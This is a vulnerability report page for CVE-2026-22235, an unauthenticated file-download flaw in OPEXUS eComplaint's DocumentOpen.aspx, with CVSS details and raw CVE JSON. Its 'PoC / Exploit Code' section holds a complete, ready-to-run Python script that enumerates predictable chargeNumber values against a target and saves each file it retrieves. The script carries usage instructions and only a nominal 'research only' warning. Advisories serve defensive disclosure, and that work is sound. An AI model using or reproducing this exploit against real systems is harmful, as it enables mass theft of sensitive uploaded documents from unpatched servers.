Security Vulnerability Report
中文
CVE-2026-22235 CVSS 7.5 HIGH

CVE-2026-22235

Published: 2026-01-08 18:16:01
Last Modified: 2026-02-18 14:06:17
Source: 9119a7d8-5eab-497f-8521-727c672e3725

Description

OPEXUS eComplaint before version 9.0.45.0 allows an attacker to visit the the 'DocumentOpen.aspx' endpoint, iterate through predictable values of 'chargeNumber', and download any uploaded files.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:opexustech:ecase_ecomplaint:*:*:*:*:*:*:*:* - VULNERABLE
OPEXUS eComplaint < 9.0.45.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-22235 PoC - Unauthenticated File Access in OPEXUS eComplaint # Target: DocumentOpen.aspx endpoint def exploit_cve_2026_22235(target_url, start_charge, end_charge): """ Exploit for CVE-2026-22235: Unauthenticated file download via predictable chargeNumber """ print(f"[*] Target: {target_url}") print(f"[*] ChargeNumber range: {start_charge} - {end_charge}") for charge_number in range(start_charge, end_charge + 1): # Construct the malicious URL url = f"{target_url}/DocumentOpen.aspx?chargeNumber={charge_number}" try: # Send HTTP GET request without authentication response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') content_length = len(response.content) # Check if response contains file data if 'application' in content_type or content_length > 1000: print(f"[+] FOUND: chargeNumber={charge_number}") print(f" Content-Type: {content_type}") print(f" Size: {content_length} bytes") # Save the file filename = f"file_{charge_number}.bin" with open(filename, 'wb') as f: f.write(response.content) print(f" Saved as: {filename}") else: print(f"[*] chargeNumber={charge_number} - Empty or no file") elif response.status_code == 404: print(f"[-] chargeNumber={charge_number} - Endpoint not found") else: print(f"[*] chargeNumber={charge_number} - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error with chargeNumber={charge_number}: {e}") print("[*] Scan completed") if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2026-22235.py <target_url> <start_charge> <end_charge>") print("Example: python cve-2026-22235.py https://vulnerable-site.com 1 1000") sys.exit(1) target = sys.argv[1] start = int(sys.argv[2]) end = int(sys.argv[3]) exploit_cve_2026_22235(target, start, end)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22235", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2026-01-08T18:16:00.523", "lastModified": "2026-02-18T14:06:17.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OPEXUS eComplaint before version 9.0.45.0 allows an attacker to visit the the 'DocumentOpen.aspx' endpoint, iterate through predictable values of 'chargeNumber', and download any uploaded files."}, {"lang": "es", "value": "OPEXUS eComplaint antes de la versión 9.0.45.0 permite a un atacante visitar el endpoint 'DocumentOpen.aspx', iterar a través de valores predecibles de 'chargeNumber', y descargar cualquier archivo subido."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opexustech:ecase_ecomplaint:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.0.45.0", "matchCriteriaId": "41F14451-171F-4167-83A5-24C5DD735121"}]}]}], "references": [{"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-26-008-02.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Broken Link"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-22235", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}